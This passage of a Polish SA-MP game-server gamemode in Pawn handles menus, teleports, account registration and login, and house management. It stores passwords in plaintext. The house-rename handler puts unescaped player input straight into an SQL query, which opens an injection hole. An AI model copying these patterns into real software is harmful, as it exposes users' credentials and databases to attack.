  3693.                                 strcat(StrinG, "- Dodatkowe 10000$ na spawnie.\n");
  3694.                                 strcat(StrinG, "- Dwukrotnie powiększony limit maksymalnego pingu.\n");
  3695.                                 strcat(StrinG, "- Brak straty exp'a przy samobójstwie.\n");
  3696.                                 strcat(StrinG, "- Teleportowanie się w dowolne miejsce zaznaczone na mapie.\n");
  3697.                                 strcat(StrinG, "- Powiekszone zycie pojazdu do 120.\n");
  3698.                                 strcat(StrinG, "- Własny zestaw bronii na spawnie.\n");
  3699.                                 strcat(StrinG, "Chcesz zakupić VIP na okres 31 dni ? Wpisz /vip!");
  3700.  
  3701.                                 ShowPlayerDialog(playerid,31,0,"Konto VIP",StrinG,"Cofnij","Wyjdz");
  3702.  
  3703.                                 }else if(listitem == 6){
  3704.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3705.                                 new StrinG[1024];
  3706.                                 StrinG = ""C_B"ptsDM - "C_O" "Version", "Date" "Godz"\n";
  3707.                                 strcat(StrinG,""C_B"Kod: "C_O"Maku, NexuS, MajsterSzefImpry\n");
  3708.                                 strcat(StrinG,""C_B"Mapperzy: "C_O"Lord_\n");
  3709.                                 strcat(StrinG,""C_B"Specjalne podziękowania dla:\n\t");
  3710.                                 strcat(StrinG,"{A40000}mrdrifter, Game"C_O"SA-MP Team, Y_Less, Strickenkid, xeeZ, Ryder, Incognito");
  3711.  
  3712.                                 ShowPlayerDialog(playerid,31,0,"Autor skryptu",StrinG,"Cofnij","Wyjdz");
  3713.  
  3714.                         }
  3715.  
  3716.                 }
  3717.                 return 1;
  3718.         }
  3719.  
  3720.  
  3721.         if(dialogid == 31){
  3722.                 if(response){
  3723.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3724.                         ShowPlayerDialog(playerid,30,2,"{3FBAFC}Polski TOP Serwer",""C_O"Komendy Gracza\n"C_B"Komendy Vipa\n"C_O"Komendy Admina \n"C_B"Komendy Gangu \n"C_O"Regulamin Serwera \n"C_B"Konto VIP \n{A40000}Autor GameMode","Dalej","Wyjdz");
  3725.                 }
  3726.                 return 1;
  3727.         }
  3728.  
  3729.         if(dialogid == 32){
  3730.                 if(response){
  3731.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3732.                         ShowPlayerDialog(playerid,30,2,"{3FBAFC}Polski TOP Serwer",""C_O"Komendy Gracza\n"C_B"Komendy Vipa\n"C_O"Komendy Admina \n"C_B"Komendy Gangu \n"C_O"Regulamin Serwera \n"C_B"Konto VIP \n{A40000}Autor GameMode","Dalej","Wyjdz");
  3733.                         }else{
  3734.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3735.                         new StrinG[1500];
  3736.                         strcat(StrinG, "/reg"C_B" - Regulamin serwera{FF0000}\n/autorzy"C_B" - Twórcy serwera{FF0000}\n/vip"C_B" - Kupno konta z przywilejami.\n"C_O"/report"C_B" - Zgłaszasz naruszenie regulaminu\n"C_O"/serwer"C_B" - Statystyki serwera"C_O"\n"C_O"/zmienhaslo"C_B" - Zmiana hasła konta"C_O"\n"C_O"/zmiennick"C_B" - Zmiana nicku konta"C_O"\n/teles"C_B" - Lista teleportów.");
  3737.                         strcat(StrinG, ""C_O"\n/v"C_B" - Spawn pojazdów."C_O"\n/pojazdy"C_B" - Lista pojazdów."C_O"\n/zycie"C_B" - Kupno życia."C_O"\n/pancerz"C_B" - Kupno pancerza."C_O"\n/napraw"C_B" - Naprawiasz pojazd."C_O"\n/flip"C_B" - Stawiasz pojazd na 4 koła."C_O"\n/kill"C_B" - Popełniasz samobjstwo."C_O"\n/tune"C_B" - Tuning pojazdu."C_O"\n/rampy"C_B" - Ustawienia ramp"C_O"\n");
  3738.                         strcat(StrinG, "/dzien"C_B" - Zmieniasz porę dnia na dzień."C_O"\n/noc"C_B" - Zmieniasz porę dnia na noc."C_O"\n/ptele"C_B" - Twoje własne teleporty"C_O"\n/katapulta"C_B" - Wyskakujesz z samolotu ze spadochronem"C_O"\n/flo"C_B" - Pozbywasz się flooda"C_O"\n/odlicz"C_B" - Włączasz odliczanie"C_O"\n/loadpos"C_B" - Wczytujesz zapisaną pozycję"C_O"\n");
  3739.                         strcat(StrinG, "/savepos"C_B" - Zapisujesz pozycję"C_O"\n/los"C_B" - Dostajesz losową nagrodę\n"C_O"/cb"C_B" - CB-Radio\n"C_O"- Transport towarów\n/"C_B"zalewy "C_O"- zalewy do łowienia ryb\n/"C_B"dotacja "C_O"- dostajesz 500 tys$\n/"C_B"kolor "C_O"- zmieniasz swój kolor na serwerze.");
  3740.  
  3741.                         ShowPlayerDialog(playerid,33,0,"Komendy graczy",StrinG,"<<<","Wyjdz");
  3742.  
  3743.                 }
  3744.                 return 1;
  3745.         }
  3746.  
  3747.  
  3748.         if(dialogid == 33){
  3749.                 if(response){
  3750.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3751.                         new StrinG[1500];
  3752.                         strcat(StrinG, "/lock"C_B" - Zamykasz pojazd"C_O"\n/unlock"C_B" - Otwierasz pojazd"C_O"\n/spadochron"C_B" - Dostajesz spadochron"C_O"\n/styl"C_B" - Styl walki"C_O"\n/anims"C_B" - Animacje"C_O"\n/bronie"C_B" - Kupujesz broń"C_O"\n/neon"C_B" - Neony w pojazdach"C_O"\n/givecash"C_B" - Dajesz kasę"C_O"\n");
  3753.                         strcat(StrinG, "/figurki"C_B" - Informacje o figurkach\n"C_O"/pos"C_B" - Sprawdzasz pozycje na mapie"C_O"\n/hp"C_B" - Sprawdzasz ilość zycia"C_O"\n/dystans"C_B" - Sprawdzasz odległość do innego gracza"C_O"\n");
  3754.                         strcat(StrinG, "/wyscigi"C_B" - Lista wyścigów"C_O"\n/clearme"C_B" - Czyścisz sobie czat\n"C_O"/me"C_B" - Czynność\n"C_O"/hitman"C_B" - Nagroda za gracza\n"C_O"/zabawy"C_B" - Informacje o zabawach\n"C_O"/losexp"C_B" - Losujesz sobie exp.\n"C_O"/top "C_B"- Toplisty graczy\n"C_O"");
  3755.                         strcat(StrinG, "/zw"C_B" - Zaraz wracam\n"C_O"/jj"C_B" - Już jestem\n"C_O"/staty "C_B"- Statystyki graczy\n"C_O"/rec "C_B" - Tryb nagrywania"C_O"\n/solo"C_B" - Rozgrywka PvP\n"C_O"/resrace"C_B" - Restart wyścigu\n"C_O"/nitro"C_B" - Zmiana rodzaju nitro\n"C_O"/pytanie"C_B" - pytanie do administracji");
  3756.  
  3757.                         ShowPlayerDialog(playerid,32,0,"Komendy Gracza",StrinG,"Cofnij",">>>");
  3758.  
  3759.                 }
  3760.                 return 1;
  3761.         }
  3762.         if(dialogid == 111)//Dialog do komendy /zalewy
  3763.         {
  3764.                 if(response)
  3765.                 {
  3766.                         switch(listitem)//Informacje przy teleportacji ;d
  3767.                         {
  3768.                                 case 0:
  3769.                                 {
  3770.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);//Dzwięk
  3771.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"1");//Informacja
  3772.                                         SetPlayerPos(playerid,2024.4911,1562.7010,10.8203);//Pozycja x,z.y xd
  3773.                                 }
  3774.                                 case 1:
  3775.                                 {
  3776.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3777.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"2");
  3778.                                         SetPlayerPos(playerid,2906.6626,-1955.3367,1.9469);
  3779.                                 }
  3780.                                 case 2:
  3781.                                 {
  3782.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3783.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"3");
  3784.                                         SetPlayerPos(playerid,2602.2893,-2332.7312,13.6250);
  3785.                                 }
  3786.                                 case 3:
  3787.                                 {
  3788.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3789.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"4");
  3790.                                         SetPlayerPos(playerid,1264.6476,-2406.8391,10.9061);
  3791.                                 }
  3792.                                 case 4:
  3793.                                 {
  3794.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3795.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"5");
  3796.                                         SetPlayerPos(playerid,1221.7979,-2482.7493,12.8136);
  3797.                                 }
  3798.                                 case 5:
  3799.                                 {
  3800.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3801.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"6");
  3802.                                         SetPlayerPos(playerid,960.3103,-2166.3818,13.0938);
  3803.                                 }
  3804.                                 case 6:
  3805.                                 {
  3806.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3807.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"7");
  3808.                                         SetPlayerPos(playerid,762.8705,-1882.5219,2.1020);
  3809.                                 }
  3810.                                 case 7:
  3811.                                 {
  3812.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3813.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"8");
  3814.                                         SetPlayerPos(playerid,274.5963,-1892.5452,1.3290);
  3815.                                 }
  3816.                                 case 8:
  3817.                                 {
  3818.                                         PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
  3819.                                         SCM(playerid,0xFFFFFFFF,""C_B"|Łowisko| "C_O"Teleportowano do zalewu nr: "C_B"9");
  3820.                                         SetPlayerPos(playerid,-2967.0315,-798.8416,1.6542);
  3821.                                 }
  3822.                         }
  3823.                 }
  3824.                 return 1;
  3825.         }
  3826.         if(dialogid == 9999) return 0;
  3827.         if(dialogid == 9998) return TogglePlayerControllable(playerid, true), 1;
  3828.  
  3829.         if(pInFun[playerid] == 1 && dialogid != 3309) return 1;
  3830.  
  3831.         switch(dialogid)
  3832.         {
  3833.                 case 0://
  3834.                 {
  3835.                         if(!response)
  3836.                                 return SCM(playerid, 0xFFFFFFFF, "Rejestracja na tym serwerze jest obowiązkowa!"), Kick(playerid);
  3837.  
  3838.                         switch(strlen(inputtext))
  3839.                         {
  3840.                                 case 5..20:
  3841.                                 {
  3842.                                         new ip[24], password[30];
  3843.                                         GetPlayerIp(playerid, ip, 24);
  3844.                                         mysql_real_escape_string(inputtext, password);
  3845.                                         format(strx, sizeof strx, "INSERT INTO `players` (`nick`, `password`, `date`, `lastdate`, `ip`) VALUES ('%s', '%s', '%d.%s.%dr.', '%d.%s.%dr.', '%s');", pName[playerid], password, day, namemonth[month-1], year,day, namemonth[month-1], year, ip);
  3846.                                         mysql_query(strx);
  3847.                                         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'players'");
  3848.                                         format(strx, sizeof strx, ""C_B"%s "C_O"zarejestrował się na serwerze.", pName[playerid]);
  3849.                                         SCMToAll(-1, strx);
  3850.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3851.                                         InfoBox(playerid, ""C_O"Twoja konto zostało zarejestrowane.\n\nHasło zachowaj tylko dla siebie.\nAby zmienić hasło użyj komendy "C_B"/zmienhaslo\n"C_O"Wszystkie komendy są opisane pod "C_B"/cmd");
  3852.                                         TogglePlayerControllable(playerid, true);
  3853.  
  3854.                                         SetPVarInt(playerid, "timePlay", GetTickCount());
  3855.                                         SetPVarInt(playerid, "Logged", 1);
  3856.  
  3857.                                         pSpawnWeapon[playerid][0] = 8;
  3858.                                         pSpawnWeapon[playerid][1] = 24;
  3859.                                         pSpawnWeapon[playerid][2] = 27;
  3860.                                         pSpawnWeapon[playerid][3] = 29;
  3861.                                         pSpawnWeapon[playerid][4] = 30;
  3862.                                         pSpawnWeapon[playerid][5] = 33;
  3863.  
  3864.                                 }
  3865.                                 default:
  3866.                                         return TogglePlayerControllable(playerid, false), Dialog(playerid, 0, DIALOG_INPUT, ""C_O"Hasło musi zawierać od "C_B"5 "C_O"do "C_B"20 "C_O"znaków!\n\nWymyśl inne hasło.", "Zarejestruj", "Wyjdź");
  3867.                         }
  3868.                 }
  3869.                 case 1://
  3870.                 {
  3871.                         if(!response)
  3872.                                 return SCM(playerid, 0xFFFFFFFF, "Ten nick jest już zarejestrowany, musisz się zalogować!"), Kick(playerid);
  3873.  
  3874.                         new ip[24], password[30];
  3875.                         GetPlayerIp(playerid, ip, 24);
  3876.                         mysql_real_escape_string(inputtext, password);
  3877.  
  3878.                         format(strx, sizeof strx, "SELECT `gang`,`money`,`score`,`privcar`,`przebieg`,`vip`,`admin`,`jail`,`nitro`,`ramp` FROM `players` WHERE `nick` = '%s' AND `password` = '%s'", pName[playerid], password);
  3879.                         mysql_query(strx);
  3880.                         mysql_store_result();
  3881.  
  3882.                         if(!mysql_num_rows())
  3883.                         {
  3884.                                 if(GetPVarInt(playerid, "probaLogowania") >= 3) return SCM(playerid, 0xFFFFFFFF, "Przekroczyłeś dozwoloną ilość prób logowania."), Kick(playerid);
  3885.  
  3886.                                 SetPVarInt(playerid, "probaLogowania", GetPVarInt(playerid, "probaLogowania") + 1);
  3887.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3888.                                 TogglePlayerControllable(playerid, 0);
  3889.                                 Dialog(playerid, 1, DIALOG_PASS, ""C_O"Niepoprawne hasło!\nSpróbuj jeszcze raz", "Zaloguj", "Wyjdź");
  3890.                                 mysql_free_result();
  3891.                         }
  3892.                         else
  3893.                         {
  3894.                                 new money[12],score[12],vip[12],admin[6],jail[6],nitro[6],ramp[6];
  3895.  
  3896.                                 mysql_fetch_field("money", money);
  3897.                                 mysql_fetch_field("score", score);
  3898.                                 mysql_fetch_field("vip", vip);
  3899.                                 mysql_fetch_field("admin", admin);
  3900.                                 mysql_fetch_field("jail", jail);
  3901.                                 mysql_fetch_field("nitro", nitro);
  3902.                                 mysql_fetch_field("ramp", ramp);
  3903.  
  3904.                                 mysql_free_result();
  3905.  
  3906.                                 SetPVarInt(playerid, "Admin", strval(admin));
  3907.                                 SetPVarInt(playerid, "timePlay", GetTickCount());
  3908.                                 SetPVarInt(playerid, "Logged", 1);
  3909.                                 SetPVarInt(playerid, "pJailed", strval(jail));
  3910.                                 SetPVarInt(playerid, "rNitro", strval(nitro));
  3911.                                 pRamp[playerid][1] = strval(ramp);
  3912.  
  3913.                                 SetPlayerScore(playerid, strval(score) + 1);
  3914.                                 SetPlayerMoney(playerid, strval(money));
  3915.  
  3916.                                 new admlvl[MAX_PLAYER_NAME+1];
  3917.                                 GetPlayerName(playerid, admlvl, sizeof(admlvl));
  3918.                                 AdministratorLevel[playerid] = mysql_PlayerGetInt(admlvl, "admin");
  3919.  
  3920.                                 new vipek[MAX_PLAYER_NAME+1];
  3921.                                 GetPlayerName(playerid, vipek, sizeof(vipek));
  3922.                                 new vips = mysql_PlayerGetInt(vipek, "ifnull(datediff(vip,now()),'-5')");
  3923.                                 if( vips >= 0 ) {
  3924.                                         Vips_Online++;
  3925.                                         Vip[playerid] = true;
  3926.                                         SCM(playerid, 0x33FF99FF, "Zostałeś automatycznie zalogowany jako VIP.");
  3927.  
  3928.                                 }
  3929.  
  3930.                                 for(new i; i < MAX_HOUSES; i++)
  3931.                                 {
  3932.                                         if(!strcmp(HouseInfo[i][hOwner], pName[playerid]) && strlen(HouseInfo[i][hOwner]) != 0)
  3933.                                         {
  3934.                                                 pHouse[playerid] = i;
  3935.                                                 new time = gettime() + (14 * 24 * 60 * 60);
  3936.                                                 format(strx, sizeof strx, "UPDATE `house` SET `time` = '%d' WHERE `id` = '%d'", time, HouseInfo[i][hID]);
  3937.                                                 mysql_query(strx);
  3938.                                                 break;
  3939.                                         }
  3940.                                 }
  3941.                                 new mapojazd[MAX_PLAYER_NAME+1];
  3942.                                 GetPlayerName(playerid, mapojazd, sizeof(mapojazd));
  3943.                                 if(mysql_PlayerGetInt(mapojazd, "privcar") >= 400)
  3944.                                 {
  3945.                                         MaPrivCar[playerid] = true;
  3946.                                         PrivPrzebieg[playerid] = float(mysql_PlayerGetInt(mapojazd, "przebieg"));
  3947.                                 }
  3948.                                 format(strx, 128, ""C_B"%s "C_O"("C_B"%d"C_O") wszedł na serwer.", pName[playerid], playerid);
  3949.                                 SCMToAll(0xFFFFFFFF, strx);
  3950.  
  3951.                                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'visit'");
  3952.                                 format(strx, sizeof strx, "UPDATE `players` SET `ip` = '%s', `lastdate` = '%d.%s.%dr.', `visit` = `visit` + 1 WHERE `nick` = '%s'", ip,  day, namemonth[month-1], year, pName[playerid]);
  3953.                                 mysql_query(strx);
  3954.  
  3955.                         }
  3956.  
  3957.                 }
  3958.  
  3959.                 case 2:
  3960.                 {
  3961.                         if(!response) return 1;
  3962.  
  3963.                         if(strlen(inputtext) < 5 || strlen(inputtext) > 20)
  3964.                                 return Dialog(playerid, 2, DIALOG_INPUT, ""C_O"\nHasło musi zawierać od "C_B"5 "C_O"do "C_B"20 "C_O"znaków!\n\nWpisz nowe hasło:", "Zmień", "Anuluj");
  3965.  
  3966.                         new haslo[30];
  3967.                         mysql_real_escape_string(inputtext, haslo);
  3968.                         format(strx, sizeof strx, "UPDATE `players` SET `password` = '%s' WHERE `nick` = '%s'", haslo, pName[playerid]);
  3969.                         mysql_query(strx);
  3970.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3971.                         format(strx, sizeof strx, "\n"C_O"Twoje hasło zostało zmienione!\nNowe hasło to: "C_B"%s", inputtext);
  3972.                         InfoBox(playerid, strx);
  3973.                 }
  3974.  
  3975.                 case 2569:
  3976.                 {
  3977.                         if(!response) return 1;
  3978.  
  3979.                         SetPVarInt(playerid, "saveTypeWeapon", listitem);
  3980.                         bstrx = "";
  3981.                         new wname[50];
  3982.                         switch(listitem)
  3983.                         {
  3984.                                 case 0:
  3985.                                 {
  3986.                                         for(new i; i < sizeof WeaponList_Slot1; i++)
  3987.                                         {
  3988.                                                 GetWeaponName(WeaponList_Slot1[i], wname, sizeof wname);
  3989.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  3990.                                         }
  3991.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  3992.                                 }
  3993.                                 case 1:
  3994.                                 {
  3995.                                         for(new i; i < sizeof WeaponList_Slot2; i++)
  3996.                                         {
  3997.                                                 GetWeaponName(WeaponList_Slot2[i], wname, sizeof wname);
  3998.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  3999.                                         }
  4000.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  4001.                                 }
  4002.                                 case 2:
  4003.                                 {
  4004.                                         for(new i; i < sizeof WeaponList_Slot3; i++)
  4005.                                         {
  4006.                                                 GetWeaponName(WeaponList_Slot3[i], wname, sizeof wname);
  4007.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  4008.                                         }
  4009.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  4010.                                 }
  4011.                                 case 3:
  4012.                                 {
  4013.                                         for(new i; i < sizeof WeaponList_Slot4; i++)
  4014.                                         {
  4015.                                                 GetWeaponName(WeaponList_Slot4[i], wname, sizeof wname);
  4016.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  4017.                                         }
  4018.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  4019.                                 }
  4020.                                 case 4:
  4021.                                 {
  4022.                                         for(new i; i < sizeof WeaponList_Slot5; i++)
  4023.                                         {
  4024.                                                 GetWeaponName(WeaponList_Slot5[i], wname, sizeof wname);
  4025.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  4026.                                         }
  4027.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  4028.                                 }
  4029.                                 case 5:
  4030.                                 {
  4031.                                         for(new i; i < sizeof WeaponList_Slot6; i++)
  4032.                                         {
  4033.                                                 GetWeaponName(WeaponList_Slot6[i], wname, sizeof wname);
  4034.                                                 format(bstrx, sizeof bstrx, "%s%s\n", bstrx, wname);
  4035.                                         }
  4036.                                         Dialog(playerid, 2570, DIALOG_LIST, bstrx, "Wybierz", "Wróć");
  4037.                                 }
  4038.                         }
  4039.                 }
  4040.  
  4041.                 case 1240:
  4042.                 {
  4043.                         if(!response) return 1;
  4044.  
  4045.                         SetPVarInt(playerid, "rNitro", listitem);
  4046.                         format(strx, sizeof strx, "UPDATE `players` SET `nitro` = '%d' WHERE `nick` = '%s'", listitem, pName[playerid]);
  4047.                         mysql_query(strx);
  4048.                         SCM(playerid, 0xFFFFFFFF, ""C_O"Nitro zostało zmienione.");
  4049.                 }
  4050.                 case 568:
  4051.                 {
  4052.                         if(!response) return SetPVarInt(playerid, "LastRace", 0);
  4053.                         if(response) return cmd_resrace(playerid, "");
  4054.                 }
  4055.                 case 647:
  4056.                 {
  4057.                         if(!response) return 1;
  4058.  
  4059.                         new i = pHouse[playerid];
  4060.  
  4061.                         GivePlayerScore(playerid, floatround(HouseInfo[i][hCost] * 0.75));
  4062.                         format(HouseInfo[i][hOwner], 40, "#");
  4063.                         format(HouseInfo[i][hName], 40, "Dom na sprzedaż");
  4064.  
  4065.                         format(strx, sizeof strx, "UPDATE `house` SET `owner` = '#', `name` = 'Dom na sprzedaż!', `time` = '0' WHERE `id` = '%d'", HouseInfo[i][hID]);
  4066.                         mysql_query(strx);
  4067.                         format(strx, sizeof strx, "* "C_O"Dom na sprzedaż!\n\n"C_O"Cena: "C_B"%d", HouseInfo[i][hCost]);
  4068.                         Update3DTextLabelText(HouseInfo[i][hLabel], -1, strx);
  4069.  
  4070.                         pHouse[playerid] = -1;
  4071.                         ExitHousePlayer(playerid, i);
  4072.                         InfoBox(playerid, ""C_O"Dom został sprzedany!");
  4073.                         return 1;
  4074.                 }
  4075.                 case 645:
  4076.                 {
  4077.                         if(!response) return 1;
  4078.                         new i = pHouse[playerid];
  4079.  
  4080.                         switch(listitem)
  4081.                         {
  4082.                                 case 0:
  4083.                                 {
  4084.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4085.                                         format(bstrx, sizeof bstrx, ""C_O"Czy napewno chcesz sprzedać swój dom za "C_B"%d$?", floatround(HouseInfo[i][hCost] * 0.75));
  4086.                                         Dialog(playerid, 647, DIALOG_BOX, bstrx, "TAK", "NIE");
  4087.                                 }
  4088.                                 case 1: Dialog(playerid, 649, DIALOG_LIST, ""C_O"Interior 0 - "C_B"[100000$]\n"C_O"Interior 1 - "C_B"[200000$]\n"C_O"Interior 2 - "C_B"[300000$]\n"C_O"Interior 3 - "C_B"[400000$]\n"C_O"Interior 4 - "C_B"[500000$]\n"C_O"Interior 5 - "C_B"[600000$]", "Kup", "Anuluj");
  4089.                                 case 2: Dialog(playerid, 650, DIALOG_LIST, "Stan\nWpłać\nWypłać", "OK", "Anuluj");
  4090.                                 case 3:
  4091.                                 {
  4092.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4093.                                         Dialog(playerid, 651, DIALOG_INPUT, ""C_O"Wpisz nowa nazwę domu.\n\n"C_B"UWAGA! "C_O"Wpisywanie obraźliwych nazw grozi zlikwidowaniem domu!", "Zmień", "Anuluj");
  4094.                                 }
  4095.                                 case 4:
  4096.                                 {
  4097.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4098.                                         Dialog(playerid, 652, DIALOG_INPUT, ""C_O"Wpisz ID lub nick gracza, którego chcesz zaprosić!", "OK", "Anuluj");
  4099.                                 }
  4100.                         }
  4101.                         return 1;
  4102.                 }
  4103.                 case 652:
  4104.                 {
  4105.                         if(!response) return 1;
  4106.  
  4107.                         if(!strlen(inputtext)) return SCM(playerid, 0xFFFFFFFF, "Nie zaproszono żadnego gracza.");
  4108.  
  4109.                         if(IsNumeric(inputtext) && strval(inputtext) >= 0 && strval(inputtext) < MAX_PLAYERS)
  4110.                         {
  4111.                                 if(!IsPlayerConnected(strval(inputtext))) return SCM(playerid, 0xFFFFFFFF, "Ten gracz nie jest połaczony!");
  4112.                                 if(GetPlayerVirtualWorld(strval(inputtext)) != 0) return SCM(playerid, 0xFFFFFFFF, "Ten gracz nie moze teraz wejść do domu!");
  4113.  
  4114.                                 SetPVarInt(strval(inputtext), "hZapro", playerid);
  4115.                                 format(strx, sizeof strx, "Gracz "C_B"%s "C_O" aprasza Cię do swojego domu! Wpisz "C_B"/gosc", pName[playerid]);
  4116.                                 SCM(strval(inputtext), 0xFFFFFFFF, strx);
  4117.                                 format(strx, sizeof strx, "Zaprosiłeś "C_B"%s "C_O"do swojego domu!", pName[strval(inputtext)]);
  4118.                                 SCM(playerid, 0xFFFFFFFF, strx);
  4119.  
  4120.                         }else if(!IsNumeric(inputtext))
  4121.                         {
  4122.                                 new i = GetPlayerFromNick(inputtext);
  4123.  
  4124.                                 if(i == -1) return SCM(playerid, 0xFFFFFFFF, "Ten gracz nie jest połączony!");
  4125.                                 if(GetPlayerVirtualWorld(i) == 1) return SCM(playerid, 0xFFFFFFFF, "Ten gracz nie moze teraz wejść do domu!");
  4126.  
  4127.                                 SetPVarInt(i, "hZapro", playerid);
  4128.                                 format(strx, sizeof strx, "Gracz "C_B"%s "C_O"zaprasza Cię do swojego domu! Wpisz "C_B"/gosc", pName[playerid]);
  4129.                                 SCM(i, 0xFFFFFFFF, strx);
  4130.                                 format(strx, sizeof strx, "Zaprosiłeś "C_B"%s "C_O"do swojego domu!", pName[i]);
  4131.                                 SCM(playerid, 0xFFFFFFFF, strx);
  4132.  
  4133.                         }else SCM(playerid, 0xFFFFFFFF, "Nieprawidłowy nick!");
  4134.  
  4135.                         return 1;
  4136.                 }
  4137.                 case 651:
  4138.                 {
  4139.                         if(!response) return 1;
  4140.  
  4141.                         if(!strlen(inputtext))
  4142.                                 return InfoBox(playerid, ""C_O"Wpisana nazwa jest nieprawidłowa!\n");
  4143.  
  4144.                         if(strlen(inputtext) > 40)
  4145.                                 return InfoBox(playerid, ""C_O"Wpisana nazwa jest zbyt długa! Maks. "C_B"40 "C_O"znaków.\n");
  4146.  
  4147.                         new i = pHouse[playerid];
  4148.                         format(strx, sizeof strx, "UPDATE `house` SET `name` = '%s' WHERE `id` = '%d'", inputtext, HouseInfo[i][hID]);
  4149.                         mysql_query(strx);
  4150.  
  4151.                         format(HouseInfo[i][hName], 40, "%s", inputtext);
  4152.  
  4153.                         format(strx, sizeof strx, ""C_B"%s\n\n"C_O"Właściciel: "C_B"%s\n"C_O"Cena: "C_B"%d", inputtext, pName[playerid], HouseInfo[i][hCost]);
  4154.                         Update3DTextLabelText(HouseInfo[i][hLabel], -1, strx);
  4155.  
  4156.                         InfoBox(playerid, ""C_O"Zmieniono nazwę domu.");
  4157.                         return 1;
  4158.                 }
  4159.                 case 650:
  4160.                 {
  4161.                         if(!response) return 1;
  4162.  
  4163.                         new i = pHouse[playerid];
  4164.                         switch(listitem)
  4165.                         {
  4166.                                 case 0:
  4167.                                 {
  4168.                                         new money[12];
  4169.                                         format(strx, sizeof strx, "SELECT `money` FROM `house` WHERE `id` = '%d'", HouseInfo[i][hID]);
  4170.                                         mysql_query(strx);
  4171.                                         mysql_store_result();
  4172.                                         mysql_fetch_field("money", money);
  4173.                                         mysql_free_result();
  4174.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4175.                                         format(strx, sizeof strx, ""C_O"W sejfie jest: "C_B"%s$", money);
  4176.                                         Dialog(playerid, 640, DIALOG_BOX, strx, "Wróć", "Zamknij");
  4177.                                 }
  4178.                                 case 1: Dialog(playerid, 641, DIALOG_INPUT, ""C_O"Wpisz kwotę, którą chcesz wpłacić:", "Wpłać", "Wróć");
  4179.                                 case 2: Dialog(playerid, 642, DIALOG_INPUT, ""C_O"Wpisz kwotę, którą chcesz wypłacić:", "Wypłać", "Wróć");
  4180.                         }
  4181.                         return 1;
  4182.                 }
  4183.                 case 642:
  4184.                 {
  4185.                         if(!response) return Dialog(playerid, 650, DIALOG_LIST, "Stan\nWpłać\nWypłać", "OK", "Anuluj");
  4186.  
  4187.                         new i = pHouse[playerid];
  4188.                         new money[12];
  4189.                         format(strx, sizeof strx, "SELECT `money` FROM `house` WHERE `id` = '%d'", HouseInfo[i][hID]);
  4190.                         mysql_query(strx);
  4191.                         mysql_store_result();
  4192.                         mysql_fetch_field("money", money);
  4193.                         mysql_free_result();
  4194.                         new kwota = strval(money);
  4195.  
  4196.                         if(strval(inputtext) == 0 || strval(inputtext) < 0 || kwota < strval(inputtext))
  4197.                                 return Dialog(playerid, 640, DIALOG_BOX, ""C_O"Podano niepoprawną liczbę lub w sejfie nie ma tyle gotówki.", "Wróć", "Zamknij");
  4198.  
  4199.                         format(strx, sizeof strx, "UPDATE `house` SET `money` = `money` - '%d' WHERE `id` = '%d'", strval(inputtext), HouseInfo[i][hID]);
  4200.                         mysql_query(strx);
  4201.                         GivePlayerMoney(playerid, strval(inputtext));
  4202.                         InfoBox(playerid, ""C_O"Dokonano zmian w sejfie.");
  4203.                         return 1;
  4204.                 }
  4205.                 case 641:
  4206.                 {
